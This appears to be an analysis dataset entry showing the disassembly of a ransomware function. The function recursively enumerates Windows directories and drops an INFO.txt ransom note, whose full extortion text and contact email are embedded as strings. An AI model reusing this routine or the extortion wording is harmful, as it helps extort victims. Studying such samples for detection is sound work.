Function at 0x414130
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d638
mov eax, dword fs:[0]
push eax
sub esp, 0x3cc
mov eax, dword [0x4d1114]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
mov dword [ebp - 0x398], edi
mov dword [ebp - 0x378], 0
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], ax
mov eax, dword [ebp + 0x34]
add eax, 0x1e5
mov dword [ebp - 0x30], 7
push eax
mov dword [ebp - 0x378], 1
call fcn.00408970
push 0x1e5
push str.______________Your_data_is_stolen_and_encrypted._______n_nYou_have_to_pay_us_to_decrypt_your_files.Contact_us_to_Decrypt_your_file_nIf_you_dont_pay_the_ransom__the_data_will_be_published_on_our_TOR_darknet_sites._nKeep_in_mind_that_once_your_data_appears_on_our_leak_site__it_could_be_bought_by_your_competitors_at_any_second__so_dont_hesitate_for_a_long_time._nThe_sooner_you_pay_the_ransom__the_sooner_your_company_will_be_safe._nDo_not_trust_intermediaries._nSend_email:
lea ecx, [ebp - 0x44]
call fcn.00408a60
cmp dword [ebp + 0x38], 8
lea eax, [ebp + 0x24]
push dword [ebp + 0x34]
cmovae eax, dword [ebp + 0x24]
lea ecx, [ebp - 0x44]
push eax
call fcn.00408a60
push 0x402
push str._nBackup_Email:_howardbusiness_onionmail.org_n_n_What_guarantee_is_there_that_we_wont_cheat_you__nWe_are_the_oldest_ransomware_affiliate_program_on_the_planet__nothing_is_more_important_than_our_reputation._nWe_are_not_a_politically_motivated_group_and_we_want_nothing_more_than_money._nIf_you_pay__we_will_provide_you_with_decryption_software_and_destroy_the_stolen_data._nAfter_you_pay_the_ransom__you_will_quickly_make_even_more_money._nTreat_this_situation_simply_as_a_paid_training_for_your_system_administrators__because_it_is_due_to_your_corporate_network_not_being_properly_configured_that_we_were_able_to_attack_you._nOur_pentest_services_should_be_paid_just_like_you_pay_the_salaries_of_your_system_administrators._n_Get_over_it_and_pay_for_it._nIf_we_dont_give_you_a_decryptor_or_delete_your_data_after_you_pay__no_one_will_pay_us_in_the_future._n__n_n_______You_need_to_contact_usand_decrypt_one_file_for_free_on__with_your_personal_ID_n_n_______________________________________________________________n_______Your_personal_ID_:
lea ecx, [ebp - 0x44]
call fcn.00408a60
mov dword [ebp - 0x3a4], 0
xor ecx, ecx
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x378], 3
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3b4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3a4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 3
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
lea ecx, [ebp - 0x3b4]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
push eax
call fcn.00408a60
mov dword [ebp - 0x3bc], 0
xor ecx, ecx
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x378], 7
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3cc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3bc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0xb1d
push 0x4ba4b8
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 4
call fcn.00408a60
mov dword [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x378], 0xf
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 5
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
lea ecx, [ebp - 0x2c]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
push eax
call fcn.00408a60
mov dword [ebp - 0x384], 0
xor ecx, ecx
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x378], 0x1f
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x394], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x384], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 1
push 0x4ba4b4
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 6
call fcn.00408a60
mov dword [ebp - 0x64], 0
xor ecx, ecx
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x380]
cmp edx, 8
jb 0x4143d7
mov ecx, dword [ebp - 0x394]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4143cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c06
push edx
push ecx
call fcn.0045e56f
add esp, 8
xor eax, eax
mov dword [ebp - 0x384], 0
mov dword [ebp - 0x380], 7
mov word [ebp - 0x394], ax
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x414432
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414428
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c0b
push edx
push ecx
call fcn.0045e56f
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x3b8]
cmp edx, 8
jb 0x41448a
mov ecx, dword [ebp - 0x3cc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414480
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c10
push edx
push ecx
call fcn.0045e56f
add esp, 8
xor eax, eax
mov dword [ebp - 0x3bc], 0
mov dword [ebp - 0x3b8], 7
mov word [ebp - 0x3cc], ax
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x3a0]
cmp edx, 8
jb 0x4144eb
mov ecx, dword [ebp - 0x3b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4144e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c15
push edx
push ecx
call fcn.0045e56f
add esp, 8
xor eax, eax
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a0], 7
mov word [ebp - 0x3b4], ax
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x414546
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41453c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c1a
push edx
push ecx
call fcn.0045e56f
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x4ba420
mov edx, edi
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x5c]
call fcn.00410230
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x374]
cmp dword [ebp - 0x48], 8
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x37c], eax
cmp eax, 0xffffffff
jne 0x4145b6
add dword [0x4da7e0], 1
adc dword [0x4da7e4], 0
mov esi, 0x3e
nop dword [eax + eax]
xor eax, eax
mov dword [ebp - 0x39c], esi
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x348]
mov dword [ebp - 0x34], 0
lea edx, [eax + 2]
mov dword [ebp - 0x30], 7
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4145e3
sub eax, edx
lea ecx, [ebp - 0x44]
sar eax, 1
push eax
lea eax, [ebp - 0x348]
push eax
call fcn.0040d000
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x394]
xor eax, eax
mov dword [ebp - 0x384], 0
mov word [ebp - 0x394], ax
or esi, 0x40
mov eax, dword [edi + 0x10]
inc eax
mov dword [ebp - 0x380], 7
push eax
mov dword [ebp - 0x378], esi
call fcn.00408970
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x414646
mov eax, dword [edi]
push dword [edi + 0x10]
lea ecx, [ebp - 0x394]
push eax
call fcn.00408a60
push 1
push 0x4b9a60
lea ecx, [ebp - 0x394]
call fcn.00408a60
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x394]
lea ecx, [ebp - 0x3b4]
call fcn.00413570
mov esi, eax
add esp, 4
lea eax, [ebp - 0x5c]
cmp eax, esi
je 0x4146b3
mov ecx, eax
call fcn.00404f50
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x5c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x4c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x3a0]
cmp edx, 8
jb 0x4146f3
mov ecx, dword [ebp - 0x3b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4146e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c1f
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov esi, dword [ebp - 0x39c]
xor eax, eax
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x380]
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a0], 7
mov word [ebp - 0x3b4], ax
mov dword [ebp - 0x378], esi
cmp edx, 8
jb 0x414760
mov ecx, dword [ebp - 0x394]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414756
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c24
push edx
push ecx
call fcn.0045e56f
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x384], 0
mov dword [ebp - 0x380], 7
mov word [ebp - 0x394], ax
cmp edx, 8
jb 0x4147bb
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4147b1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c29
push edx
push ecx
call fcn.0045e56f
add esp, 8
test byte [ebp - 0x374], 0x10
jne 0x4147d0
mov dword [ebp - 4], 0xf
jmp 0x4149d7
push 0x4ba338
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4149d7
push 0x4ba33c
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4149d7
push str.INFO.txt
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x44]
call fcn.00410230
add esp, 4
push 0xb0
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x15
push 0
push eax
call fcn.004762b0
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x124]
cmovae eax, dword [ebp - 0x44]
add esp, 4
push 2
push eax
call fcn.00409210
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x128], eax
mov byte [ebp - 4], 0x16
lea edx, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
lea ecx, [ebp - 0x124]
push dword [ebp - 0x64]
cmovae edx, dword [ebp - 0x74]
call fcn.00423a30
add esp, 4
lea ecx, [ebp - 0x120]
call fcn.0040d680
test eax, eax
jne 0x4148cb
mov eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x124]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004037f0
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x128], eax
lea ecx, [ebp - 0x120]
call fcn.00409ce0
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x128], eax
lea eax, [ebp - 0xbc]
mov byte [ebp - 4], 0x17
push eax
mov dword [ebp - 0xbc], vtable.std::ios_base.0
call fcn.0045c1ab
add esp, 4
mov dword [ebp - 4], 0x14
jmp 0x414963
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x5c]
push ecx
cmp dword [ebp - 0x18], eax
je 0x414990
mov ecx, eax
call fcn.00408ad0
add dword [ebp - 0x1c], 0x18
jmp 0x414999
push eax
lea ecx, [ebp - 0x20]
call fcn.00413820
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x4149d7
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4149cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c2e
push edx
push ecx
call fcn.0045e56f
add esp, 8
lea eax, [ebp - 0x374]
push eax
push dword [ebp - 0x37c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4145c0
push dword [ebp - 0x37c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
cmp esi, edi
je 0x414a40
sub esp, 0x18
lea eax, [ebp + 0x24]
mov ecx, esp
mov dword [ebp - 0x39c], esp
push eax
call fcn.00408ad0
sub esp, 0x18
mov byte [ebp - 4], 0x19
lea eax, [ebp + 0xc]
mov ecx, esp
push eax
call fcn.00408ad0
push esi
mov byte [ebp - 4], 0xf
call fcn.00414130
add esp, 0x34
add esi, 0x18
jmp 0x414a04
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x414a7a
mov ecx, dword [ebp - 0x5c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414a70
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c33
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov ecx, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 7
mov word [ebp - 0x5c], ax
test ecx, ecx
je 0x414ae8
mov edx, dword [ebp - 0x1c]
push ecx
call fcn.00413a30
mov ecx, dword [ebp - 0x18]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x20]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x414ade
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c38
push ecx
push esi
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp - 0x60]
cmp edx, 8
jb 0x414b52
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414b48
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c3d
jmp 0x414b48
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp + 0x20]
xor eax, eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
cmp edx, 8
jb 0x414ba0
mov ecx, dword [ebp + 0xc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414b96
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c42
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp + 0x38]
xor eax, eax
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 7
mov word [ebp + 0xc], ax
cmp edx, 8
jb 0x414bea
mov ecx, dword [ebp + 0x24]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414be0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c47
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045e00c
mov esp, ebp
pop ebp
ret
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
int3